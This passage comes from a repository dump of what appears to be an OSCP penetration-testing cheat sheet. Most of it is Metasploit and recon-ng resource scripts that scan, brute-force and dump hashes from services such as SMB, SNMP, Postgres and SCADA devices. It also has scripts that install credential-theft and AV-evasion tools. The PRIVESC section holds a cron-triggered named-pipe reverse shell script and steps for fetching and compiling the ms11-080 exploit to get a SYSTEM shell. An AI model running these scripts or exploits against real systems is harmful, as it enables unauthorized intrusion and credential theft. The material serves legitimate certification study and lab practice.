| use auxiliary/scanner/pcanywhere/pcanywhere_udp 6 | run 7 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/resource/pop3.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 110 4 | 5 | use auxiliary/scanner/pop3/pop3_version 6 | run 7 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/resource/postgres.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 5432 4 | 5 | use auxiliary/scanner/postgres/postgres_dbname_flag_injection 6 | run 7 | 8 | use auxiliary/scanner/postgres/postgres_hashdump 9 | run 10 | 11 | use auxiliary/scanner/postgres/postgres_login 12 | run 13 | 14 | use auxiliary/scanner/postgres/postgres_schemadump 15 | run 16 | 17 | use auxiliary/scanner/postgres/postgres_version 18 | run 19 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/resource/printers.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 9100 4 | 5 | use auxiliary/scanner/printer/printer_download_file 6 | run 7 | 8 | use auxiliary/scanner/printer/printer_env_vars 9 | run 10 | 11 | use auxiliary/scanner/printer/printer_list_dir 12 | run 13 | 14 | use auxiliary/scanner/printer/printer_list_volumes 15 | run 16 | 17 | use auxiliary/scanner/printer/printer_ready_message 18 | run 19 | 20 | use auxiliary/scanner/printer/printer_version_info 21 | run 22 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/resource/rdp.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 3389 4 | 5 | use auxiliary/scanner/rdp/ms12_020_check 6 | run 7 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/resource/recon-ng/active.rc: -------------------------------------------------------------------------------- 1 | workspaces add yyy 2 | add companies 3 | xxx 4 | none 5 | add domains 6 | yyy 7 | 8 | use recon/domains-hosts/brute_hosts 9 | run 10 | 11 | use recon/domains-hosts/ssl_san 12 | run 13 | 14 | use recon/domains-hosts/vpnhunter 15 | run 16 | 17 | use discovery/info_disclosure/cache_snoop 18 | run 19 | 20 | use discovery/info_disclosure/interesting_files 21 | run 22 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/resource/recon-ng/export.rc: -------------------------------------------------------------------------------- 1 | spool start /opt/discover/tmp 2 | show contacts 3 | spool stop 4 | spool start /opt/discover/tmp2 5 | show creds 6 | spool stop 7 | spool start /opt/discover/tmp3 8 | show hosts 9 | spool stop 10 | spool start /opt/discover/tmp4 11 | show leaks 12 | spool stop 13 | spool start /opt/discover/tmp5 14 | show ports 15 | spool stop 16 | spool start /opt/discover/tmp6 17 | show vulnerabilities 18 | spool stop 19 | back 20 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/resource/recon-ng/passive.rc: -------------------------------------------------------------------------------- 1 | workspaces add yyy 2 | add companies 3 | xxx 4 | none 5 | add domains 6 | yyy 7 | 8 | use recon/domains-hosts/baidu_site 9 | run 10 | 11 | use recon/domains-hosts/bing_domain_api 12 | run 13 | 14 | use recon/domains-hosts/bing_domain_web 15 | run 16 | 17 | use recon/domains-hosts/google_site_api 18 | run 19 | 20 | use recon/domains-hosts/google_site_web 21 | run 22 | 23 | use recon/domains-hosts/netcraft 24 | run 25 | 26 | use recon/domains-hosts/shodan_hostname 27 | run 28 | 29 | use recon/domains-hosts/yahoo_site 30 | run 31 | 32 | use recon/domains-vulnerabilities/punkspider 33 | run 34 | 35 | use recon/domains-vulnerabilities/xssed 36 | run 37 | 38 | use recon/hosts-hosts/bing_ip 39 | run 40 | 41 | use recon/hosts-hosts/ip_neighbor 42 | run 43 | 44 | use recon/hosts-hosts/ipinfodb 45 | run 46 | 47 | use recon/hosts-hosts/resolve 48 | run 49 | 50 | use recon/domains-contacts/builtwith 51 | run 52 | 53 | use recon/domains-contacts/pgp_search 54 | run 55 | 56 | use recon/domains-contacts/whois_pocs 57 | run 58 | 59 | use recon/companies-contacts/facebook 60 | run 61 | 62 | use recon/contacts-contacts/rapportive 63 | run 64 | 65 | use recon/contacts-creds/haveibeenpwned 66 | run 67 | 68 | use recon/contacts-creds/pwnedlist 69 | run 70 | 71 | use recon/contacts-creds/should_change_password 72 | run 73 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/resource/redis.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 6379 4 | 5 | use auxiliary/scanner/misc/redis_server 6 | run 7 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/resource/rmi.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 1099 4 | 5 | use auxiliary/scanner/misc/java_rmi_server 6 | run 7 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/resource/rservices.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 512 4 | 5 | use auxiliary/scanner/rservices/rexec_login 6 | run 7 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/resource/rservices2.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 513 4 | 5 | use auxiliary/scanner/rservices/rlogin_login 6 | run 7 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/resource/rservices3.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 514 4 | 5 | use auxiliary/scanner/rservices/rsh_login 6 | run 7 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/resource/scada.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 2362 4 | 5 | use auxiliary/scanner/scada/digi_addp_reboot 6 | run 7 | 8 | use auxiliary/scanner/scada/digi_addp_version 9 | run 10 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/resource/scada2.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 771 4 | 5 | use auxiliary/scanner/scada/digi_realport_serialport_scan 6 | run 7 | 8 | use auxiliary/scanner/scada/digi_realport_version 9 | run 10 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/resource/scada3.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 80 4 | 5 | use auxiliary/scanner/scada/indusoft_ntwebserver_fileaccess 6 | run 7 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/resource/scada4.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 28784 4 | 5 | use auxiliary/scanner/scada/koyo_login 6 | run 7 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/resource/scada5.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 502 4 | 5 | use auxiliary/scanner/scada/modbusclient 6 | run 7 | 8 | use auxiliary/scanner/scada/modbusdetect 9 | run 10 | 11 | use auxiliary/scanner/scada/modbus_findunitid 12 | run 13 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/resource/scada6.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 46824 4 | 5 | use auxiliary/scanner/scada/sielco_winlog_fileaccess 6 | run 7 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/resource/sip.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 5060 4 | 5 | use auxiliary/scanner/sip/enumerator 6 | run 7 | 8 | use auxiliary/scanner/sip/options 9 | run 10 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/resource/sip2.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 5060 4 | 5 | use auxiliary/scanner/sip/enumerator_tcp 6 | run 7 | 8 | use auxiliary/scanner/sip/options_tcp 9 | run 10 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/resource/smb.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 445 4 | 5 | use auxiliary/scanner/smb/pipe_auditor 6 | run 7 | 8 | use auxiliary/scanner/smb/pipe_dcerpc_auditor 9 | run 10 | 11 | use auxiliary/scanner/smb/psexec_loggedin_users 12 | run 13 | 14 | use auxiliary/scanner/smb/smb2 15 | run 16 | 17 | use auxiliary/scanner/smb/smb_enumshares 18 | run 19 | 20 | use auxiliary/scanner/smb/smb_enumusers_domain 21 | run 22 | 23 | use auxiliary/scanner/smb/smb_enumusers 24 | run 25 | 26 | use auxiliary/scanner/smb/smb_login 27 | run 28 | 29 | use auxiliary/scanner/smb/smb_lookupsid 30 | run 31 | 32 | use auxiliary/scanner/smb/smb_version 33 | run 34 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/resource/smtp.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 25 4 | 5 | use auxiliary/scanner/smtp/smtp_enum 6 | run 7 | 8 | use auxiliary/scanner/smtp/smtp_relay 9 | run 10 | 11 | use auxiliary/scanner/smtp/smtp_version 12 | run 13 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/resource/smtp2.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 465 4 | 5 | use auxiliary/scanner/smtp/smtp_enum 6 | run 7 | 8 | use auxiliary/scanner/smtp/smtp_relay 9 | run 10 | 11 | use auxiliary/scanner/smtp/smtp_version 12 | run 13 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/resource/snmp.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 161 4 | 5 | use auxiliary/scanner/misc/oki_scanner 6 | run 7 | 8 | use auxiliary/scanner/snmp/aix_version 9 | run 10 | 11 | use auxiliary/scanner/snmp/brocade_enumhash 12 | run 13 | 14 | use auxiliary/scanner/snmp/cisco_config_tftp 15 | run 16 | 17 | use auxiliary/scanner/snmp/cisco_upload_file 18 | echo 'Hello world!' > /tmp/test.txt 19 | set SOURCE /tmp/test.txt 20 | run 21 | 22 | use auxiliary/scanner/snmp/netopia_enum 23 | run 24 | 25 | use auxiliary/scanner/snmp/snmp_enum 26 | run 27 | 28 | use auxiliary/scanner/snmp/snmp_enumshares 29 | run 30 | 31 | use auxiliary/scanner/snmp/snmp_enumusers 32 | run 33 | 34 | use auxiliary/scanner/snmp/ubee_ddw3611 35 | run 36 | 37 | use auxiliary/scanner/snmp/xerox_workcentre_enumusers 38 | run 39 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/resource/ssh.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 22 4 | 5 | use auxiliary/scanner/ssh/ssh_version 6 | run 7 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/resource/telnet.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 23 4 | 5 | use auxiliary/scanner/telnet/telnet_encrypt_overflow 6 | run 7 | 8 | use auxiliary/scanner/telnet/telnet_ruggedcom 9 | run 10 | 11 | use auxiliary/scanner/telnet/telnet_version 12 | run 13 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/resource/telnet2.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 30718 4 | 5 | use auxiliary/scanner/telnet/lantronix_telnet_password 6 | run 7 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/resource/telnet3.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 9999 4 | 5 | use auxiliary/scanner/telnet/lantronix_telnet_version 6 | run 7 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/resource/tftp.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 69 4 | 5 | use auxiliary/scanner/tftp/ipswitch_whatsupgold_tftp 6 | run 7 | 8 | use auxiliary/scanner/tftp/netdecision_tftp 9 | run 10 | 11 | use auxiliary/scanner/tftp/tftpbrute 12 | run 13 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/resource/tomcat.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 8080 4 | 5 | use auxiliary/scanner/http/tomcat_enum 6 | run 7 | 8 | use auxiliary/scanner/http/tomcat_mgr_login 9 | run 10 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/resource/upnp.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 1900 4 | 5 | use auxiliary/scanner/upnp/ssdp_msearch 6 | run 7 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/resource/vmware.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 443 4 | 5 | use auxiliary/scanner/vmware/esx_fingerprint 6 | run 7 | 8 | use auxiliary/scanner/vmware/vmware_enum_permissions 9 | run 10 | 11 | use auxiliary/scanner/vmware/vmware_enum_sessions 12 | run 13 | 14 | use auxiliary/scanner/vmware/vmware_enum_users 15 | run 16 | 17 | use auxiliary/scanner/vmware/vmware_enum_vms 18 | run 19 | 20 | use auxiliary/scanner/vmware/vmware_host_details 21 | run 22 | 23 | use auxiliary/scanner/vmware/vmware_screenshot_stealer 24 | run 25 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/resource/vmware2.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 902 4 | 5 | use auxiliary/scanner/vmware/vmauthd_version 6 | run 7 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/resource/vnc.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 5900 4 | 5 | use auxiliary/scanner/vnc/vnc_login 6 | run 7 | 8 | use auxiliary/scanner/vnc/vnc_none_auth 9 | run 10 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/resource/vxworks.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 17185 4 | 5 | use auxiliary/scanner/vxworks/wdbrpc_bootline 6 | run 7 | 8 | use auxiliary/scanner/vxworks/wdbrpc_version 9 | run 10 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/resource/winrm.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 5985 4 | 5 | use auxiliary/scanner/winrm/winrm_auth_methods 6 | run 7 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/resource/x11.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | 4 | use auxiliary/scanner/x11/open_x11 5 | set RPORT 6000 6 | run 7 | 8 | use auxiliary/scanner/x11/open_x11 9 | set RPORT 6001 10 | run 11 | 12 | use auxiliary/scanner/x11/open_x11 13 | set RPORT 6002 14 | run 15 | 16 | use auxiliary/scanner/x11/open_x11 17 | set RPORT 6003 18 | run 19 | 20 | use auxiliary/scanner/x11/open_x11 21 | set RPORT 6004 22 | run 23 | 24 | use auxiliary/scanner/x11/open_x11 25 | set RPORT 6005 26 | run 27 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/setup.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | clear 4 | echo 5 | echo 6 | 7 | echo -e "\e[1;33mInstalling Filezilla.\e[0m" 8 | apt-get -y install filezilla 9 | echo 10 | echo -e "\e[1;33mInstalling gedit.\e[0m" 11 | apt-get -y install gedit 12 | echo 13 | echo -e "\e[1;33mInstalling xdotool.\e[0m" 14 | apt-get -y install xdotool 15 | echo 16 | echo 17 | echo -e "\e[1;33mChecking if goofile is installed, if not installing.\e[0m" 18 | echo 19 | 20 | which goofile >/dev/null 2>&1 21 | 22 | if [ $? -eq 0 ]; then 23 | echo 24 | else 25 | echo 26 | apt-get -y install goofile 27 | echo 28 | exit 1 29 | fi 30 | 31 | echo 32 | echo 33 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/update.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | clear 4 | echo 5 | echo 6 | 7 | echo -e "\e[1;34mUpdating OS.\e[0m" 8 | apt-get update ; apt-get -y upgrade ; apt-get -y dist-upgrade ; apt-get -y autoremove ; apt-get -y autoclean ; echo 9 | 10 | if [ -d /opt/discover/.git ]; then 11 | echo -e "\e[1;34mUpdating Discover scripts.\e[0m" 12 | cd /opt/discover/ ; git pull 13 | cp /opt/discover/alias /root/.bash_aliases ; source /root/.bash_aliases 14 | echo 15 | else 16 | rm -rf /opt/scripts/ 17 | echo -e "\e[1;33mInstalling scripts into new location: /opt/discover/.\e[0m" 18 | git clone git://github.com/leebaird/discover.git /opt/discover 19 | echo 20 | fi 21 | 22 | if [ -d /opt/easy-creds/.git ]; then 23 | echo -e "\e[1;34mUpdating easy-creds.\e[0m" 24 | cd /opt/easy-creds/ ; git pull 25 | echo 26 | else 27 | echo -e "\e[1;33mInstalling easy-creds.\e[0m" 28 | git clone git://github.com/brav0hax/easy-creds.git /opt/easy-creds 29 | ln -s /opt/easy-creds/easy-creds.sh /usr/bin/easy-creds 30 | echo 31 | fi 32 | 33 | if [ -d /opt/EyeWitness/.git ]; then 34 | echo -e "\e[1;34mUpdating EyeWitness.\e[0m" 35 | cd /opt/EyeWitness/ ; git pull 36 | echo 37 | else 38 | echo -e "\e[1;33mInstalling EyeWitness.\e[0m" 39 | git clone git://github.com/ChrisTruncer/EyeWitness.git /opt/EyeWitness 40 | fi 41 | 42 | if [ ! -f /opt/google/chrome/google-chrome ]; then 43 | echo -e "\e[1;33mInstalling Google Chrome.\e[0m" 44 | wget https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb 45 | dpkg -i google-chrome-stable_current_amd64.deb 46 | head -n -1 /opt/google/chrome/google-chrome > temp.txt ; mv temp.txt /opt/google/chrome/google-chrome 47 | echo 'exec -a "$0" "$HERE/chrome" "$@" --user-data-dir' >> /opt/google/chrome/google-chrome 48 | chmod +x /opt/google/chrome/google-chrome 49 | rm google-chrome-stable_current_amd64.deb 50 | echo 51 | fi 52 | 53 | if [ ! -f /usr/bin/i586-mingw32msvc-c++ ]; then 54 | echo -e "\e[1;33mInstalling Ming C Compiler.\e[0m" 55 | apt-get -y install mingw32 56 | echo 57 | fi 58 | 59 | if [ -d /opt/rawr/.git ]; then 60 | echo -e "\e[1;34mUpdating RAWR.\e[0m" 61 | cd /opt/rawr/ ; git pull 62 | echo 63 | else 64 | echo -e "\e[1;33mInstalling RAWR.\e[0m" 65 | git clone https://bitbucket.org/al14s/rawr.git /opt/rawr 66 | /opt/rawr/install.sh y 67 | fi 68 | 69 | if [ -d /opt/smbexec/.git ]; then 70 | echo -e "\e[1;34mUpdating smbexec.\e[0m" 71 | cd /opt/smbexec/ ; git pull 72 | echo 73 | else 74 | echo -e "\e[1;33mInstalling smbexec.\e[0m" 75 | git clone git://github.com/pentestgeek/smbexec-2.git /opt/smbexec 76 | ln -s /opt/smbexec/smbexec.rb /usr/bin/smbexec 77 | echo 78 | fi 79 | 80 | if [ -d /opt/veil/.git ]; then 81 | echo -e "\e[1;33mInstalling Veil-Evasion suite.\e[0m" 82 | unlink /usr/bin/veil 83 | rm -rf /opt/veil 84 | apt-get -y install veil-evasion veil-catapult 85 | echo 86 | fi 87 | 88 | if [ ! -f /usr/share/windows-binaries/wce.exe ]; then 89 | echo -e "\e[1;33mInstalling Windows Credential Editor.\e[0m" 90 | wget http://www.ampliasecurity.com/research/wce_v1_4beta_universal.zip 91 | unzip wce_v1_4beta_universal.zip 92 | chmod 755 wce.exe 93 | mv wce.exe /usr/share/windows-binaries/ 94 | rm Changelog LICENSE.txt README wce_v1_4beta_universal.zip 95 | echo 96 | fi 97 | 98 | echo -e "\e[1;34mUpdating locate database.\e[0m" ; updatedb 99 | 100 | echo 101 | echo 102 | -------------------------------------------------------------------------------- /ENUMERATION/port scan & ping sweep/fping_sweep: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | #scan the network with fping 3 | 4 | for ip in $(seq 1 254);do fping 10.11.1.$ip >> fping.txt;done;grep alive ./fping.txt 5 | -------------------------------------------------------------------------------- /ENUMERATION/port scan & ping sweep/nc-port-scanner.sh: -------------------------------------------------------------------------------- 1 | # This is an nc port scanner 2 | # can specify range. Instead of 80, do 1-65535 3 | # scans TCP 4 | # for UDP do nc -unvv -w 1 -z 192.168.x.x 160-165 5 | 6 | > /tmp/ncscan.txt 7 | for ip in $(seq 1 5); 8 | do nc -nvv -z 192.168.1.$ip 80 &>> /tmp/ncscan.txt 9 | done 10 | sleep 1; 11 | grep -i open --color /tmp/ncscan.txt; 12 | -------------------------------------------------------------------------------- /ENUMERATION/port scan & ping sweep/nmap-ARP-ping.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # ARP ping with nmap 3 | nmap -sP -PR 10.11.1.0/24 -oG nmap-arp.txt 4 | -------------------------------------------------------------------------------- /ENUMERATION/port scan & ping sweep/ping-sweep.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | #ping sweeper of my current subnet 3 | 4 | for ip in $(seq 1 254);do 5 | ping -c 1 192.168.1.$ip | grep "bytes from" | cut -d" " -f4 | cut -d":" -f1 & 6 | # ping -c 1 192.168.1.$ip | grep "bytes from" | cut -d" " -f4 | cut -d":" -f1 & 7 | done 8 | # wait 2 seconds and press enter to exit 9 | sleep 2;echo -e \\n 10 | -------------------------------------------------------------------------------- /EXAM/documentation-strategy: -------------------------------------------------------------------------------- 1 | 1. Working notes and screenshots into KeepNote 2 | 2. Write the final Pentest Report (including my tools, TTPs, finding) from the beginning of labs. Not at the END! 3 | 3. Labs report will be based on Offensive Security Penetration Test Report for Internal Lab and Exam https://www.offensive-security.com/pwk-online/PWKv1-REPORT.doc 4 | 3. Write new chapter in final Pentest Report after pwning of the machine (based on working notes from KeepNote) 5 | 4. Collect nmap scan in the nmap format 6 | 5. Collect network data in XLS spreadsheet 7 | 6. Collect data in MSF database (db_nmap) 8 | 7. Draw network map in Armitage based on MSF database (or Maltego? Sparta?) -------------------------------------------------------------------------------- /EXAM/pentest-reports/curated-list-pentest-reports: -------------------------------------------------------------------------------- 1 | https://github.com/juliocesarfort/public-pentesting-reports -------------------------------------------------------------------------------- /EXAM/tips: -------------------------------------------------------------------------------- 1 | Report all Lab excercises 2 | Report internal lab penetration tests and document in final format (no notes) 3 | Reserve 48h 4 | Take breaks 5 | Eat good meal 6 | Take a nap 7 | You need 70 points to pass (1 root/system = 20 pts, 1 limited root/system = 10 pts) 8 | Be patient...enumarate, enumearate even more... 9 | -------------------------------------------------------------------------------- /EXAM/useful-notes: -------------------------------------------------------------------------------- 1 | Never assume anything 2 | Do not overthink it. 3 | AccessChk can be bad. See https://forums.offensive-security.com/showthread.php?t=6523 4 | Take snapshots of the VM 5 | Some machines have multiple IPs and different hostnames for each IP. See https://forums.offensive-security.com/forumdisplay.php?f=106 6 | Always think about proxychains 7 | Try harder 8 | Enumerate some more (UDP ?) 9 | If you want to wget something from your machine first make sure that apache (python web server) is running 10 | If you want to load a php webshell from your server make sure that php is not running on your box .. or you found a complicated way to your local root .. congratulations 11 | When transferring files with FTP, use binary instead of ASCII: 12 | ftp> open 192.168.13.203 13 | ftp> binary 14 | 200 Type set to I. 15 | ftp> put plink2.exe 16 | 17 | RAM forensics 18 | tcdump 19 | -------------------------------------------------------------------------------- /PRIVESC/Linux/netcat-and-crontab.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # privilege escalation script with netcat and cron.hourly 3 | # make sure chmod 777 ./privesc 4 | # ls -lah to check permissions 5 | # cp -f ./privesc /etc/cron.hourly/privesc 6 | # check the time with the "date" command and wait 7 | # for the script to be run at the specific time 8 | ## admin@canyoupwnme:/tmp$ cat /etc/crontab | grep -i hour 9 | # Add this to crontab * * * * root 10 | ## cd / && run-parts --report /etc/cron.hourly 11 | ### 12 | # mknod info here http://man7.org/linux/man-pages/man2/mknod.2.html 13 | # The system call mknod() creates a filesystem node (file, device 14 | # special file, or named pipe) named pathname, with attributes 15 | # specified by mode and dev 16 | 17 | mknod /tmp/backpipe p 18 | /bin/sh 0/tmp/backpipe & 19 | -------------------------------------------------------------------------------- /PRIVESC/Windows/accesschk.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UserXGnu/OSCP-cheat-sheet-1/c3c5033caed74c6312ac27cbbccff68521493fb4/PRIVESC/Windows/accesschk.exe -------------------------------------------------------------------------------- /PRIVESC/Windows/convert-python-exploits-to-exe: -------------------------------------------------------------------------------- 1 | ## convert python exploits to windows executable 2 | #Download the exploit: 3 | wget -O ms11-080.py http://www.exploit-db.com/download/18176 4 | 5 | #Convert python to Windows executable. Works only on a Windows machine 6 | //first install pywin32-218.win32-py2.7 7 | //then unzip pyinstaller-2.1 on the Desktop 8 | copy the exploit code to the Windows machine (via http server) 9 | save the file in the pyinstaller directory (as a .txt file) 10 | 11 | #go to the pyinstaller directory with cmd 12 | cd 13 | 14 | #rename the exploit from .txt to .py 15 | move ms11-080.txt ms11-080.py 16 | 17 | #compile to .exe (be in the pyinstaller folder) 18 | python pyinstaller.py -­‐onefile ms11-­080.py 19 | 20 | #the .exe will be located in the pyinstaller, ms11-080 subdirectory / dist 21 | 22 | #copy the .exe in the webroot folder and download it to the victom machine with a web browser 23 | 24 | #run the exploit on a limited user account 25 | and you will get SYSTEM shell -------------------------------------------------------------------------------- /PRIVESC/Windows/sysinternals/Eula.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UserXGnu/OSCP-cheat-sheet-1/c3c5033caed74c6312ac27cbbccff68521493fb4/PRIVESC/Windows/sysinternals/Eula.txt -------------------------------------------------------------------------------- /PRIVESC/Windows/sysinternals/PsExec.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UserXGnu/OSCP-cheat-sheet-1/c3c5033caed74c6312ac27cbbccff68521493fb4/PRIVESC/Windows/sysinternals/PsExec.exe -------------------------------------------------------------------------------- /PRIVESC/Windows/sysinternals/PsGetsid.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UserXGnu/OSCP-cheat-sheet-1/c3c5033caed74c6312ac27cbbccff68521493fb4/PRIVESC/Windows/sysinternals/PsGetsid.exe -------------------------------------------------------------------------------- /PRIVESC/Windows/sysinternals/PsInfo.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UserXGnu/OSCP-cheat-sheet-1/c3c5033caed74c6312ac27cbbccff68521493fb4/PRIVESC/Windows/sysinternals/PsInfo.exe -------------------------------------------------------------------------------- /PRIVESC/Windows/sysinternals/PsLoggedon.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UserXGnu/OSCP-cheat-sheet-1/c3c5033caed74c6312ac27cbbccff68521493fb4/PRIVESC/Windows/sysinternals/PsLoggedon.exe -------------------------------------------------------------------------------- /PRIVESC/Windows/sysinternals/PsService.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UserXGnu/OSCP-cheat-sheet-1/c3c5033caed74c6312ac27cbbccff68521493fb4/PRIVESC/Windows/sysinternals/PsService.exe -------------------------------------------------------------------------------- /PRIVESC/Windows/sysinternals/Pstools.chm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UserXGnu/OSCP-cheat-sheet-1/c3c5033caed74c6312ac27cbbccff68521493fb4/PRIVESC/Windows/sysinternals/Pstools.chm -------------------------------------------------------------------------------- /PRIVESC/Windows/sysinternals/psfile.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UserXGnu/OSCP-cheat-sheet-1/c3c5033caed74c6312ac27cbbccff68521493fb4/PRIVESC/Windows/sysinternals/psfile.exe -------------------------------------------------------------------------------- /PRIVESC/Windows/sysinternals/pskill.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UserXGnu/OSCP-cheat-sheet-1/c3c5033caed74c6312ac27cbbccff68521493fb4/PRIVESC/Windows/sysinternals/pskill.exe -------------------------------------------------------------------------------- /PRIVESC/Windows/sysinternals/pslist.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UserXGnu/OSCP-cheat-sheet-1/c3c5033caed74c6312ac27cbbccff68521493fb4/PRIVESC/Windows/sysinternals/pslist.exe -------------------------------------------------------------------------------- /PRIVESC/Windows/sysinternals/psloglist.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UserXGnu/OSCP-cheat-sheet-1/c3c5033caed74c6312ac27cbbccff68521493fb4/PRIVESC/Windows/sysinternals/psloglist.exe -------------------------------------------------------------------------------- /PRIVESC/Windows/sysinternals/pspasswd.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UserXGnu/OSCP-cheat-sheet-1/c3c5033caed74c6312ac27cbbccff68521493fb4/PRIVESC/Windows/sysinternals/pspasswd.exe -------------------------------------------------------------------------------- /PRIVESC/Windows/sysinternals/psping.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UserXGnu/OSCP-cheat-sheet-1/c3c5033caed74c6312ac27cbbccff68521493fb4/PRIVESC/Windows/sysinternals/psping.exe -------------------------------------------------------------------------------- /PRIVESC/Windows/sysinternals/psshutdown.exe: -------------------------------------------------------------------------------- 